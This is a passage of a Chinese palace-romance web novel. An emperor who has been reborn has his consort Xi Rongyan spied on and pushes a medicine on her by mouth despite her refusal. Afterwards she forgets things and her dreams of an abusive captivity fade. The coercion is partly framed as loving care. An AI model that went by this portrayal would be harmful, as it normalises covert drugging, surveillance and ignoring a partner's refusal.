魏祁抱着席容烟回了承乾宫,才发觉她指尖在假山上磨出了红痕,忙又让高义去拿膏药来。
他含住那指尖,眼底生出心疼,哑声道:“烟儿,对不起。”
席容烟摇头:“是臣妾不小心的。”
魏祁便将席容烟抱紧,轻轻叹息。
等药来了,他为她上好药,又看那双依旧染着红晕的眼眸:“往后朕再轻些。”
席容烟听着这话,难不成还有下回。
她总算抬头,看向皇上:“臣妾有些害怕在外头。”
那一块地方都是只有魏祁才能去的,没有他的吩咐,旁人根本不敢去。
魏祁也不可能让旁人看见。
他本是喜欢这样的情趣,仅仅是与她一回,他便觉得隐秘的刺激。
或许他心底更深处满足的不仅是面前女人对她的顺从依赖,还有与她如寻常心意相通的男女那般时刻需要对方。
但此刻,魏祁看着席容烟那明显并不喜欢的模样,不由又想起刚才在假山洞中,她微微僵硬的身子。
他以为她是害怕,现在看她或许是不喜欢。
魏祁压着心里的遗憾,还是又低声承诺:“烟儿不喜欢,往后朕再也不会了。”
席容烟还是知道面前的人是皇上,本来也没希望皇上会事事依着她。
皇上若是没应她,她也不会再提了。
可此刻皇上揽她入怀,轻抚她后背,没有丝毫生气犹豫的就说再不会了。
这样的皇上让她觉得自己被皇上珍视,心头感动,她闭上眼睛,依靠在皇上怀中。
到了夜里时,宝珠将张太医送来的安神丸拿来给席容烟:“张太医说入睡前一粒就好了,夜里要再睡不好,便吃两粒。”
席容烟看着那药丸,闻着淡淡一股药味,她吃进去也没觉得多苦。
这时候已经时酉时了,这时候也不知道皇上会不会过来,但寻常过了酉时席容烟便会先睡。
她侧头看向宝珠:“要是皇上来了,你就先来叫醒我。”
宝珠应了声又道:“皇上这些日子来都没叫人传唤,主子先睡也没什么吧。”
席容烟是怕自己夜里梦魇。
那些梦越来越叫她不安,下意识的不想让皇上知道。
她总觉得她的梦好似曾发生过,但的的确确想起来又根本不可能。
她进宫前一直平平顺顺,从未遇见过什么大事,唯一的两件大事不过是两段亲事生变。
她怎么可能会有孩子呢。
也根本不可能被人囚禁过。
她只觉得自己像是得了臆症,她并不想让这些症状让人知道,对她在宫里也没有好处。
席容烟低声道:“我这些日子夜里都睡不好,你叫醒我也没什么的。”
“再说皇上过来,我起身去迎也好。”
宝珠便点头:“主子放心睡吧,昨夜没有睡好,今晚吃了两粒那安神丸,或许睡的更好些。”
席容烟才翻了身去睡下。
第106章 皇上来了,臣妾就想睡了
宣政殿内,魏祁坐在椅上,看着手上从北地过来的信件,脸上是淡淡的冷笑。
北地的战事如何,他经历两世,再清楚不过。
北燕王室出了些动乱,前世这时候他抓住机会连拿下两城,怎么可能战事不顺,打的艰难。
宋元义这时候送信来说与北燕的战事紧急,输了两场,不过是想以此要挟他尽快立魏恒为太子,让他知道,北地的战事还要依靠宋家。
魏祁笑了笑。
他做这么多,不过是要逼着皇后给她父亲送信,逼着宋元义铤而走险在战事上犯错罢了。
那么多眼睛盯着他,想取代他位置的多了去。
他提笔,慢条斯理的写下一封信,信中焦急的过问那边的战事,尽是担忧。
再铺下信纸,另外又提笔写下一封信。
夜里魏祁往席容烟那里过去的时候,难得见到席容烟竟然坐在床沿边等着他。
他顿了下,又走过去坐在她身边问:“怎么还不睡?”
席容烟靠在皇上的肩膀上:“臣妾睡了又醒了。”
魏祁揽住她肩膀问:“又做梦了?”
席容烟摇头:“就是忽然就醒了。”
魏祁低低看了看人两眼,又抬起她下巴,见着她眼底倦懒,眼眸半垂,显然像是没精神的样子。
他不明白席容烟为什么要骗他。
从前她历来睡的早。
睡着了也不会等着他过来。
对于他夜里是不是过来,他知道她没那么太在意。
他眼色复杂的看着她,指尖在她下巴上摩挲了许久才低声道:“现在想睡了么?”
席容烟抬头看向皇上:“皇上来了,臣妾就想睡了。”
魏祁挑眉,深深看席容烟一眼,又将她的脸颊按在怀里。
夜里他抱着人,怀里的人很安静,在他怀里一动不动,均匀的呼吸好似已经睡沉过去了。
他却看着人许久才睡。
早上魏祁离开,看了眼凌姑姑,凌姑姑连忙跟在魏祁的身后,低声说着昨夜的事情:“娘娘申时就睡了,只是宝珠瞧见皇上从外殿进来的时候,就进去叫娘娘了。”
魏祁的步子一顿。
他上了面前的步辇,又看了一眼送出来的凌姑姑,摆摆手让她回去。
席容烟早就发觉皇上每次从这里离开,凌姑姑就都会出去送皇上。
从前她觉得这应该是宫规,且凌姑姑送皇上本也是一种规矩,也没什么。
可自从来了承乾宫,她便莫名觉得四周都是眼睛在瞧着她。
就如梦中一般,那个男人在她身边安排了许多人,注视着她的一举一动。
她如今没在梦中,竟也忽然生出这样的感觉来。
凌姑姑很快从外头进来,又低声提醒席容烟时辰。
这是每日都会有的场景,她梦中也有过相似的场景,每当那个人从自己身边离开时,旁边的人就会跟着离开,又很快会回来。
席容烟撑着额头,明明不想去思考这些,却又情不自禁的将梦中的场景带入到梦境之外。
她又抬起眼帘看向站在自己面前恭敬的凌姑姑,一直都是面无表情的模样,恭敬又安静。
席容烟问:“皇上走了么?”
凌姑姑有些诧异席容烟竟会主动问一句这话,她点点头:“陛下已经走了。”
席容烟就让她退下去,又让宝珠来给她更衣。
早上去了皇后那里,因着昨日的事情,席容烟便觉得皇后看她的眼神里有一股淡淡的冷。
席容烟面色如常,只是心底已经微微警惕起来。
不过她寻常都在承乾宫,承乾宫离皇上的明德殿也不过小半刻的距离,皇后即便真要做什么,也得顾忌着什么的。
她转身出去时,王宝然过来她身边问道:“妹妹最近怎么都不出来走走?”
“园子里从来没见过妹妹的身影。”
这后宫里几乎都是皇后的人,上回她出事,即便有人能看出不对,也没人上前为她说一句话,全是落井下石的。
那时候席容烟就看明白了,后宫里当真无真心可言。
她一个人总有失神的时候,常出去并不算好事。
席容烟看了看王宝然的面容,笑了下:“得空了会去走的。”
说着席容烟转身便走了。
王宝然看着席容烟离去的背影,静静的悄无声息,她依旧和声细语的说话,自己心底已不知是什么滋味。
等席容烟走远,齐妃走到王宝然身边皱眉道:“你不是说有法么?”
“这么久了,她连个面都不在外头露,你能有什么法子。”
王宝然看向齐妃,低声道:“齐妃娘娘别急就是。”
说着王宝然又转身去了长春宫。
皇后淡淡看着进来的王宝然,又淡淡看着她站在自己面前:“这回你二哥的考试你不用担心,本宫让大哥早就去打过了招呼。”
“你只需要让你二哥跟着题目好好写一篇文章,别太上不得台面就是。”
王宝然连忙告谢道:“嫔妾谢过皇后娘娘帮嫔妾二哥。”
皇后淡笑,眯着眼睛看着面前垂头安静的人,虽说不起眼,但她能看出来王宝然是有几分聪慧在的。
至少比齐妃聪慧。
至少,在席容烟进宫之前,王宝然是唯一一个能让皇上一直去她那里的人,但凭着这一点,王宝然就与宫里的其他女人不一样了,
她深知,在皇上面前,献媚讨好根本没用,王宝然极聪明。
当初选人进宫时,她选的都是家世寻常,或是能拿捏住把柄的,当时皇上随意点了两个,如今看来,王宝然也是到了能用的时候。
她又道:“本宫不过是举手之劳罢了,算不得什么。”
说着又看了王宝然一眼:“你放心,只要本宫在一日,你们王家总能提携起来的。”
王宝然忙又叩谢。
从皇后那里出来的时候,王宝然心思沉沉,知道自己已经没了退路。
其实说到底,她无任何家世背景,从进宫的那一刻起,若是没有皇上的宠爱,早就没有退路了。
她没把握住皇上,就是任人宰割的鱼肉。
不仅是她,她家里比起如今权势滔天的忠靖侯府,也根本不是对手的。
她只能站在皇后这一边。
不然,皇后对她的报复,她根本承受不起。
第107章 为什么会怕他
这一夜的梦境更加绵长。
昏暗的烛灯下,一切都透露着一股暧昧。
可她的身体却跪在一个高大男人的面前,那只无情的手掌托着她的下颚,冰冷的眸子冷冷看着她:“烟儿,为什么又要跑出去?”
眼中泪意模糊,她仰头看着面前的人,眼角的泪珠缓缓滑落下去,带着微微的热意,她渐渐看清了男人的面容。
那张面容与皇上的面容重叠,忽明忽暗,忽远忽近。
她听见自己哽咽的声音:“我想见孩子……”
冰凉的声音透露出不耐烦,下颚的手指收的越来越紧,越来越疼:“朕不是说过么,只要你不拒绝朕,朕就让你见他。”
那阴沉的眼神渐渐靠近,席容烟跟着仰起头,从心底升起的恐惧让她浑身战栗,冷酷的声音像是利刃一般,要划破她的皮肤:“别再让朕不高兴了。”
“除了这座宫殿,你哪里也不许去,你听明白了么?”
席容烟愣愣看着那张脸,熟悉的面孔,却是截然不同的表情,阴翳冷酷的让人战栗。
夜色沉沉,浓稠又黑暗。
席容烟在黏腻的暗色中睁开眼睛,心底的恐惧依旧还在,膝盖上也仿佛还传来冰凉的痛意。
这时候环在她腰上的手指紧了紧,却让席容烟后背生了一股冷汗。
她重新闭上眼睛,身子却几不可察的微微挣脱被那只大手环住的怀抱。
第二日皇上梳洗完过来的时候,席容烟看着面前皇上那张靠近过来的温和脸庞微微失神。
她恍然又想起她从前从皇上脸上见过的阴翳神情,和梦中的一样的可怖。
那到底是梦,还是真的。
若是真的,梦里她好似有孩子,可她明明今年才及笄,明明才刚进宫,怎么可能会有孩子。
要是真的,周遭的所有人都在骗她么。
不可能的。
根本不可能的。
可她如今看到皇上缓缓往她面前走来,却从心底腾升起缓缓不安和害怕来。
那是根本不受她的控制的情绪。
在皇上的手指就要碰到她的脸庞时,她下意识的避开,又僵硬住。
梦里有过这样的场景。
她避开了那个男人,换来的是他更大力气的凌辱,将她死死压在了地上。
后背又是一股凉意,席容烟慌乱的又回头,对上的是皇上温和担心的眸子,与梦境里那个男人恐怖的眼神完全不一样。
她又从不安中微微放松下身子,小声道:“刚才臣妾不是故意的……”
魏祁坐在席容烟身边,将看起来有些不安的人抱进怀里,轻轻拍着她后背低声道:“烟儿,朕没有怪你。”
温柔的声音与梦里那个人的声音截然不同,轻抚在后背上的温度让她颤动的心跳平缓下来,她轻轻嗯了一声,又伸手抱住了皇上。
皇上身上的暖,又让她安心,
魏祁垂眼看着席容烟的动作,沉默的脸上早已阴沉一片。
昨日夜里席容烟轻轻挣脱他怀里的动作,他虽然没有惊动她,但却明显的感受到了她在抗拒自己。
好似从上回麓山她梦中惊醒的那回开始,她便有些不一样了。
刚才席容烟抬头那一瞬间,看着他害怕的眼神,甚至都让他几乎以为回到了前世里。
他不明白,现在的席容烟为什么会怕他。
他再也没有强迫过他了。
她也是名正言顺的入的自己后宫。
他们中间更没有那个死人,和那个孩子。
明明一切都不该出问题的。
甚至他都能察觉到席容烟在依赖他。
为什么还会怕他。
魏祁深吸一口气,此刻早已快到了早朝的时候,他忍住要细问席容烟的话,又拍拍她后背,让她再睡一会儿。
看着人乖顺的躺下去后,魏祁才转身离开。
皇上一走,席容烟就看向宝珠。
宝珠胆战心惊的,还是跟着出去。
魏祁站在宫门处,负手静静听着凌姑姑低低陈述席容烟昨日一天的事情,眼神微微一瞟,便见着偷偷站在不远处往这里张望的宝珠。
他抿了抿唇,回过眼神,摆手让凌姑姑退下去,兀自上了步辇。
凌姑姑一愣,她还没说完,皇上怎么就走了。
只是她也来不及多想,又忙回去。
席容烟已经坐在了床沿上,看着进来的凌姑姑,又说这会儿想吃玫瑰酥了,让她去叫人送来。
这么一大早吃玫瑰酥,凌姑姑虽说有些诧异,但也不敢怠慢,连忙出去吩咐。
凌姑姑一走,席容烟便看向宝珠小声问:“你见着什么了?”
宝珠便忙凑到席容烟耳边小声道:“奴婢瞧见凌姑姑好似正对着皇上说什么话,不过也没说多久,皇上就走了。”
“奴婢不敢凑近了怕被发现,所以也没听见到底说了什么。”
说着宝珠又看向席容烟不解的问:“主子怎么让奴婢瞧这个,凌姑姑对皇上说话,应该也没什么吧。”
说完她又瞪大眼睛看向席容烟:“主子是怕凌姑姑借着送皇上,对皇上眉来眼去?”
凌姑姑看起来也很年轻,虽说有时候瞧着严肃的很,万一真有爬龙床的心思呢。
席容烟叹息一声,又低头看着屏风出神。
她不过是梦中梦见过这样额场景,梦中那个人让许多人看着她,每每他离开的时候,就会有人过去与他说她做了什么。
她想,凌姑姑与皇上有什么可说的呢。
还是说皇上也让人看着她的一举一动。
这承乾宫里的所有人都是皇上的人,皇上想要知道关于她的动作,其实是再容易不过的。
可这种时时刻刻看被人看着的感觉总是不好。
席容烟不想让自己乱想,又对宝珠低声道:“你别乱想,也别说我让你去做的事情。”
“更别乱想凌姑姑,她在我宫里这么久,我还是知道些的,她没有那心思。”
宝珠一愣,又连忙点头:“主子放心吧,我一定不会说的。”
这时候玉竹让人端着热水进来,又看席容烟好似精神不怎么好,又问:“那张太医开的药有用么?”
席容烟觉得还是有些用处,至少夜里睡得好些,她道:“再吃几天看看吧。”
又起身去梳洗。
第108章 这药必须得吃
魏祁上午在宣政殿忙完,坐在椅上眉头拧了拧。
指尖打在扶手上,又一顿,招手让高义过来,低头吩咐了一句。
再过两日就是大殿下的生辰,席容烟从皇后那里出来时,跟着一起出来的都在商量给大殿下送去什么生辰礼。
王宝然快了几步走到席容烟身边问:“妹妹打算送什么?”
席容烟摇头:“还没想好。”
她对大殿下并不熟悉,倒是想过送什么不出错。
王宝然笑了笑:“许久没有同妹妹说话了,我们一起去园子里坐坐吧。”
席容烟看了眼远处站着的齐妃往这边看,又摇头:“这些日我头晕,不能吹风了。”
王宝然脸上一僵,又点点头:“那妹妹是该回去养养。”
两人分开后,席容烟坐上步辇,走了一段又回头看去,那里已没了王宝然的身影。
后宫里人人都避着她,排斥她,王宝然却总与她亲近,还在长春宫门口,她不怕皇后和齐妃针对她么?
席容烟又垂眸叹了口气,她现在竟也信不了任何人了。
连主动亲近的人,她都要去揣测她的用心。
回了承乾宫,席容烟倒是在认真想大殿下生辰她要送什么。
她这儿其实都是女子的东西,但要不出错的话,便打算送一只玉佩。
她的玉佩不少,她大哥也喜欢收藏玉佩,也常给她许多名贵的玉佩,便又叫宝珠去将她从席府带来的匣子拿来。
宝珠拿来后,她找到一只羊脂白玉的缠丝佩,这玉也极好,佩在身上也好看,又细细瞧了瞧没什么避讳,便又叫玉竹再去拿一个匣子来单独装好。
正这时候,凌姑姑小声的进来,站在席容烟的身边道:“前两日慧静法师入宫来翻译佛经,皇上说娘娘前些日梦境缠身,慧静法师也会解梦和医术,便让娘娘见见,看能不能让娘娘夜里不再做梦了。”
席容烟怔了一下,又问:“那慧静法师现在在哪儿?”
凌姑姑便道:“现在正在外头候着的,娘娘若要见,奴婢现在便去请法师进来。”
席容烟顿了顿,想着见见也好,又道:“那你请来吧。”
慧静法师进来时,席容烟也忙站起来迎她,邀着她坐在自己身边。
慧静法师是京城内有些名声的女法师,约莫快五十,席容烟从前也听过她的名号,此刻也十分敬重,又亲自为慧静法师斟茶。
慧静法师却笑着摆摆手:“娘娘不必客气,沙门听说娘娘近来梦魇,可说来听听。”
席容烟听到这儿,倒是犹豫了一下。
她的梦境的确有些难以启齿,说出来怕有心人听着传出不好的话来。
慧静法师像是看出席容烟的犹豫,又笑了下:“娘娘直言就是,出家人不说是非。”
席容烟便叫屋内的人都退下去,等到只剩下她与慧静法师两人时,席容烟才犹豫一下开口:“我最近总梦见些从未遇见过的事情。”
“我身边的人和梦里的人长得一样,可脾性却完全不一样。”
“还有我周遭的东西也与梦里一样。”
“让我有时候分不清梦里的是真的,还是我眼睛看到的是真的。”
慧静法师看向席容烟:“那娘娘了解你看到的人么?”
“你能确定你看到的就是他真实的面目么?”
席容烟一哑。
能确定么,她真的不知道。
因为她也看见过皇上阴沉的样子,与梦里面的一模一样。
可是如果皇上真的是她梦里的那个样子,那皇上如今对她这么温和,都是装出来的么。
席容烟又觉得这根本不可能。
皇上对她的好,她全能感受得到,再说她身上又有什么,让皇上来欺骗她。
她又道:“我虽然不了解他,也不知道我看到的是不是他的真面目,但是梦境里他对我做的事情,其实从未发生过。”
“我只是不明白我为什么会做这样的梦。”
慧静法师笑了笑:“日有所思,夜有所想。”
“不管什么梦境,冥冥中都有联系。”
“若您觉得它是假的,那便是假的,虚无的东西再想也是自增烦恼。”
“若您觉得那梦是真的,那便去证实它是真的。”
席容烟怔了怔,证实……
可是根本证实不了。
梦里的自己好似一心想要逃脱那个男人,可是自己根本不想离开皇上。
但梦里自己只要一旦忤逆了那个人,他就会变得异常可怕。
她失神一瞬,又缓缓点头。
对面净慧法师又问道:“若是娘娘还有不解的,可以将您梦中的场景说出来,沙门试着为您解梦。”
席容烟其实心底是有一些抵触将梦境说出来的。
但面前的慧静法师她曾和母亲也去拜见过,德高望重,或许也值得信任。
她心底犹豫许久,还是打算说出一场梦境,只是她将梦里的人换成了别人。
慧静法师从承乾宫出去的时候,高义早就等在了一处,又请慧静法师往宣政殿去。
席容烟独自坐在塌上,手上捧着茶盏失神,想着慧静法师对她说的话。
梦境不过三种,日思夜想,业力习气,外缘相扰,她梦见的或许是先世业报,过去的业力显现,也不必烦忧。
一切有为法,如梦幻泡影,如露亦如电,应作是如观。
本质为空,不应该执着。
她的手指紧了紧,听明白了慧静法师的意思。
她纠结虚无缥缈的东西,本就没有意义。
只是她本是不想要纠结这些的,可那些梦境好似不肯放过她。
慧静法师让她静心专注身边事情,自然而然就不梦了。
席容烟想了想,她在宫内能去的地方只有那几处,好似也没可专注的事情。
她坐了坐,又起身去练字。
魏祁中午过来陪席容烟用膳时,在东屋没见着人,又往小书房去。
他没让宫人通传,站在帘子外,看着席容烟悬着毛笔半晌,也没有落下一个字。
他走到她身边,坐在椅上的人才惊觉他进来,忙放了笔站起来。
魏祁看了眼那案上写的字,又牵着席容烟出去用膳,侧头又问她:“见过慧静法师了?”
席容烟愣了下点点头。
魏祁垂着眼眸又问:“慧静法师怎么说?”
席容烟跟着皇上坐到凳上,又小声道:“慧静法师说让我专注身边的事情,就不会做梦了。”
魏祁唔了一声,往席容烟碗里夹了筷虾仁,又看她:“多吃点。”
席容烟看了看碗里的菜,自觉的不再说话,又低头用膳。
用完膳,她被皇上牵到了罗汉塌上坐着,身子坐在皇上的腿上,手被皇上握在手心。
外头凌姑姑送药进来,魏祁伸手接了过来,又送了一勺去席容烟的唇边,低沉的声音从身侧传来:“这是补气血的,中午和夜里两回。”
“烟儿,这药必须得吃。”
第109章 抗拒他
此刻皇上的声音里带着些严肃,像是在告诉席容烟这个药不能不吃。
苦涩的药味让席容烟一闻见就难受,她侧头看向皇上:“臣妾不是在吃气血丸么?”
魏祁看了席容烟一眼,又低声道:“气血丸没有这个的药性好,往后就吃药就是。”
“你的身子气血不足就容易夜里做梦,也容易思虑。”
说着魏祁静静看着席容烟:“烟儿,朕是为你好。”
席容烟愣了愣,看着面前皇上送在唇边的褐色药汁,总觉得又一股莫名的心慌。
她不知道这股心慌是什么,她又忽然想起慧净法师说的,去证实它。
她心里跳了跳,想着要是她此刻拒绝皇上,会发生什么。
曾经梦里那个男人灌着自己喝药,他的手很重,脸色很狰狞吓人。
席容烟手指颤了颤,忍着不安的心跳推在皇上的手腕上,小声道:“臣妾不想喝。”
魏祁的脸色一顿。
他视线看向席容烟低垂的脸庞上,抿了抿唇,又隐住阴沉的脸色。
他知道她与慧净法师说了什么,所以她在瞒着他。
魏祁眼底神色变了变,却低笑一声,饮了一口,挑着席容烟的下巴就对着她喂了过去。
他黑眸看着她,将药汁全送到她唇里,看着她瞪大的眼睛和变得难受苍白的面孔,他按紧她的后颈不让她后退,直到她将所有的药汁都吃进去才松开。
席容烟苦的难受,捂着胸口,咳了咳。
魏祁拍了拍席容烟的后背,低声道:“烟儿是想朕这样喂你么?”
“烟儿觉得苦,朕陪你一起苦吧。”
席容烟苦的愣住,她抬头,眼里有泪花冒出来,小声问:“臣妾一定要吃药么?”
魏祁怜惜的摸摸席容烟的脸庞:“烟儿,朕是为你好。”
说着魏祁又喂了一口过去。
他有力的大手按着她的后背,一口一口将药汁全喂给她,即便看她难受的冒了汗,依旧将最后一口喂给了她。
席容烟喝完药胃里翻滚,有一股要作呕的恶心。
心里头却有一股难受。
她的身子又被皇上温柔的抱在怀里,后背上修长的手指轻抚,低声抚慰她:“烟儿,吃了药很快就好了。”
“你不会再梦魇了。”
“等你怀上孩子,就不用吃药了。”
席容烟难受的眼眶冒了泪花,又听皇上的话,抬头问道:“为什么怀身孕了就不吃药了?”
魏祁笑了下,给席容烟喂了一颗甜枣:“那时候你快要做娘亲了,就不会胡思乱想了。”
席容烟总觉得这话听起来有些不对。
皇上是说她现在胡思乱想么。
可是她来承乾宫后,梦里的事情都没有告诉过皇上,还是皇上察觉到了什么。
她不知道怎么的,自从梦见梦里的那个人与皇上有着一样的面孔后,她心底深处总是对皇上有一丝防备。
或许皇上是担心她,但她又总觉得意有所指,仿佛自己如梦境中那般,被困在那人织下的大网里。
她忽然不想说话,下巴抵在皇上的肩膀上,看着那玄衣上的金色龙纹,那狰狞的眼珠子看着她,叫她心生惶恐。
又赶紧闭上眼睛,不想让自己再乱想。
她告诉自己,梦如空花,醒来即无。
刚才她拒绝吃药,皇上也没有生气,与梦里那个人根本不一样。
口中苦涩的味道依旧没有消退,席容烟唇里喊着甜枣核,咬在齿间,又小声道:“臣妾给大殿下准备的生辰礼,皇上瞧瞧么?”
说着席容烟从皇上的怀里起来,看向皇上:“臣妾还不了解大殿下的喜好,怕犯了大殿下的什么忌讳。”
席容烟这么问,是真怕出什么事。
今天王宝然主动问起给大殿下的生辰礼,她隐隐又怕皇后拿这个生辰礼抓她的错处,便先给皇上瞧瞧稳妥些。
况且席容烟看上回皇上抱着大殿下,像是也喜欢大殿下的,她也小心些,总没有错。
席容烟要让人去拿的时候,皇上却淡淡道:“朕不用看,没什么忌讳的,送什么都可以。”
席容烟一愣,正要说话,皇上又将手放到她唇边,幽深的眸子看着她:“吐出来。”
席容烟明白了皇上的意思,脸颊一热,咬咬唇畔,还是低头将枣核吐到了皇上的手上。
又想梦里的那个人从来是冰冷粗暴的,皇上这般照顾她,又怎么可能会是一个人。
她失神时,又有香甜的甜瓜送到她唇边,清甜扫去了唇中的苦涩,她心里的不安被她压着,不愿去想了。
夜里入睡的时候,凌姑姑又送药过来。
席容烟知晓这药一日要喝两回,也不愿去想皇上为什么又要让她吃药了。
她强忍着喝完,许是吃的急了,胃里翻江倒海,捂着胸口,差点干呕了出来,缓了许久才缓过来。
宝珠在旁边担心道:“主子自小就吃不得药,前头皇上不是答应了主子吃气血丸就行了么,怎么又要吃药了?”
玉竹在旁边轻轻拍着席容烟的后背,看着席容烟这么难受,也忍不住道:“主子要不给皇上说说,每日要喝两回,的确也是折磨人。”
席容烟手指间捏紧了白帕,捂在唇上低声道:“皇上说气血丸的药性没有这个好。”
玉竹叹息,却又不能说什么,只是道:“要不再让太医来瞧瞧,要是脉象好些了,就不用吃了。”
席容烟白着脸用茶水净了口,又吃了两颗甜枣,心头才好受些。
她靠在身后的如意枕上问:“现在什么时辰了?”
玉竹便道:“申时了。”
席容烟点点头,又心不在焉的翻了翻手边的杂记,却没什么心思看书,又合上放在一边,打算睡了。
她滑进被子里,又拉住宝珠:“你陪我说说话吧。”
宝珠是席府的家生子,席容烟三四岁就陪在身边了,最是亲近。
宝珠见席容烟拉着她,那白净的手指捏在她衣上,露出一小截皓腕,青玉镯泛了一圈的柔光,又看席容烟脸上有一丝落寞,就如从前席容烟夜里害怕,要她陪在床边一样。
她笑了笑,跪下床边脚踏上:“主子想和奴婢说什么。”
席容烟也不知要说什么,她只是觉得些许的无聊。
这宫里一整天见到的人只有那几个,也不能如从前她还能去大嫂那里逗逗小侄子,或者和母亲出去逛逛铺子,再或者去园子里走走,与几个堂姐说话,还是有些趣事的。
她如今除了去太后那里说说话,其余的时候只能等着皇上过来。
皇上其实白日里也很少能陪她,夜里有时候也很晚过来。
这种寂寞其实也该习惯,就是心头空落落的。
席容烟侧身撑着头问宝珠:“我从前有没有出过什么事,我自己忘记了,然后你们都骗着我?”
宝珠忍不住笑起来:“主子怎么忽然说这奇怪的话?”
“奴婢从小跟着主子,主子连大病都没大病过,更别说摔了碰了,哪儿遇过什么大事?”
“您自小便是不怎么爱动的性子,二爷和夫人又护您的紧,更别说我们都骗着您了。”
“主子可别乱想。”
席容烟叹息着点点头:“我就是随口问问。”
又道:“我院子里那些花草,也不知道有没有人打理了。”
又怅然若失道:“怕是再回不了那院子了。”
宝珠笑道:“皇上这么偏爱主子,承乾宫也宽敞,奴婢瞧着好些布置与主子原来的院子相似,主子应该也能习惯的。”
席容烟心不在焉道:“大抵是吧。”
又看向宝珠:“你与我说说小时候好玩的事,我有些记不起来了。”
宝珠便笑:“好。”
第110章 这一世就是他们的重新开始
两人在屋内不过说了小半个时辰的话,说起从前的事情,席容烟那股失落的心情稍好了些,又才一翻身睡了过去。
这一夜她睡的很沉,一夜睡到醒来,竟没有做梦。
她睁开眼恍恍惚惚的,又被腰上的手指带了带,身子就紧贴在皇上的身上。
那只手从她寝衣摆伸进去,皇上沙哑的声音就落在她耳侧:“醒了?”
席容烟嗯了一声,下一刻面前暗下来,皇上已经压在她身上,又往她锁骨下头吻下去。
席容烟脸热的发烫,忙要推人。
这时候一大早,外头早就有宫人等着伺候梳洗了,一想到屏风外宫人侯着,她就有些放不开。
魏祁抬起眼帘看了眼席容烟染上红晕的脸庞,在透进来的一丝光线下,隐隐妩媚。
那散乱的青丝妖冶,她半眯半睡的眉眼里,褪去了她刚进宫时的羞涩,白里透红,如枝头被雨打过的海棠,越发引诱。
昨夜他过来的有些晚了,没忍心打搅她入睡,忍着一夜了,便不想放开人。
他捏紧她柔软的腰肢,又哑声道:“朕再不努力些,烟儿怎么怀上朕的孩子。”
说着魏祁将手掌放到席容烟的小腹上,有些遗憾的叹息:“要什么时候才会有动静。”
席容烟听出皇上遗憾的声音,心里忽生出一股惴惴。
她进宫三月多,一直都没有动静,如今又听皇上的叹息,便觉得一股说不清的心绪。
她咬唇,声音很细:“应该很快了吧。”
魏祁黑眸看着席容烟的眼睛,烟水星眸像是永远含着水光一般晏晏动人,他听着她动听的声音,情不自禁将手指落入她枕上的青丝中。
他如今只想让她快些怀上他的孩子。
她的那些梦境,他不管是不是真的与前世有什么联系,他们之间有了孩子,她的心也会全部在他这里了。
这一世就是他们的重新开始。
前世席容烟那般对那个死人坚贞不屈,不过是因为那个孩子。
魏祁闭上眼睛,将怀里的人抱紧,尽管能感受到她细小的挣扎,还是俯身下,低头吻下去。
只要有了孩子就好了。
床帐内很快响起起伏的声音,宫人们都自觉的又退出了帘子外面。
等到皇上起身时,席容烟浑身发软,又看皇上弯腰站在她面前,光裸着半身,捏着她的手心吻了吻:“你多睡会儿。”
席容烟怔然看着正对着自己的那道伤疤,又怔怔的点点头。
魏祁又看一眼席容烟身上袒露出来的肌肤,旖丽惹眼,白玉肌肤上密密的吻痕,那唇畔红的靡艳,他又看的身上发紧,伸手替她将衣襟拢上,又转身走了出去。
等皇上走了,宝珠才忙进来,又蹲在床边小声道:“皇上说主子今天可以不用去皇后那里。”
席容烟懒懒半眯着眼睛,手臂搭在床沿上,没有说话。
宝珠以为席容烟要睡,正打算出去时,又听席容烟的声音:“我要沐浴。”
宝珠就连忙出去让人去给浴桶倒热水。
沐浴的时候,宝珠看着浴桶内席容烟身上的红痕,又有些心疼,沐浴完了又给席容烟擦了药膏,低声道:“要不今日就不去皇后那儿了吧,皇上也说了的。”
席容烟摇头:“我每日也只走那一遭,寻常也无事。”
“出去一趟还能走走。”
宝珠看着席容烟脖子上的印子:“如今天热了,高领子的衣裳穿着又热,脖子那里的印子怕是挡不住。”
席容烟叫玉竹拿了镜子来给她照了照,想起皇上吻那里的时候她还推了推,就是怕留下印子,没想到还是留了红印。
便又起身坐去妆台前,拿着妆粉扑了扑,只瞧着淡淡的印子时才放了心。
又一连过了两日,宝珠看席容烟早上往皇后那儿去的时候忍不住提醒道:“今日大殿下生辰,主子不拿着准备好的东西去么。”
席容烟听着宝珠这么说,还有一瞬间的空白,想了许久才想起来今日是大殿下生辰,没有如往年那样大办,只是在长春宫办一场小宴。
连官员都未请。
昨日席容烟去太后那里的时候,太后还与她说了这事,没想到她现在就忘了。
这两日她夜里都睡的很好,几乎都是一夜无梦,只是觉得好似总是容易忘记事情,就连从前有一些事情都记不起来了。
她问了问时辰,也没有多想,让宝珠带着匣子往长春宫去。
去的时候她已经是去的稍晚的了,有嫔妃已经送上了礼,席容烟也过去说了两句祝福大殿下的话,将手上的匣子送了过去。
大殿下就站在皇后的身边,视线扫过席容烟身上,又别开了眼睛。
皇后接过席容烟递过来的东西看了一眼,又笑道:“这坠子瞧着倒好看。”
又对着席容烟温和的含笑:“你有心了。”
今日长春宫里比寻常要热闹些,上午的时候太后也过来了,对着大殿下也满脸慈爱的说了许多话。
但皇上一直没有过来,皇后时不时往外头张望一眼,又不动声色的拧眉。
如今朝廷内已经纷纷在猜测恒儿犯错在皇上心里失宠了,从前那些来她面前讨好早早送礼来的命妇,这回竟也没过来。
怕是都在瞧着皇上的意思,就怕做错了事。
今日要是皇上不过来,怕是外头的真觉得恒儿被皇上抛弃了。
她捏了捏手,又不动声色的让身边的人去宣政殿去催。
她脸上还得带着端庄的笑意,陪着太后说话,不能露出一丝着急来。
魏恒始终站在母亲的身边,低着头,脸上半点儿喜色也没有。
席容烟坐在下头,目光察觉到有人在看她,原是忠靖侯府的侯夫人云氏,皇后的母亲。
云氏的身边还坐着两名年轻的妇人,和一位少女,应该是大房的少夫人,和皇后的嫡妹。
云氏就坐在皇后的身边,见着席容烟也看过来,又淡淡移了目光,倒是云氏身边少女直直对上席容烟的眼睛,微微仰着头,肆无忌惮的打量。
第111章 皇上的冷酷
席容烟别过脸去,微微靠在椅背上。
宋云舒走到席容烟身边,脸上带着天真的笑意,一伸手就挽在席容烟的手臂上:“宸妃娘娘,您平日里都用什么香,闻着真好闻。”
“能将皇上喜欢的日日去您那儿,我大姐虽不屑用,我倒是想瞧瞧。”
宋云舒的声音不大不小,远处的听不见,坐在旁边的人却是能听见的,不由看热似的看过来。
席容烟偏头看向宋云舒,少女看起来天真无邪,但眼里的光芒却是看得人极度不舒服。
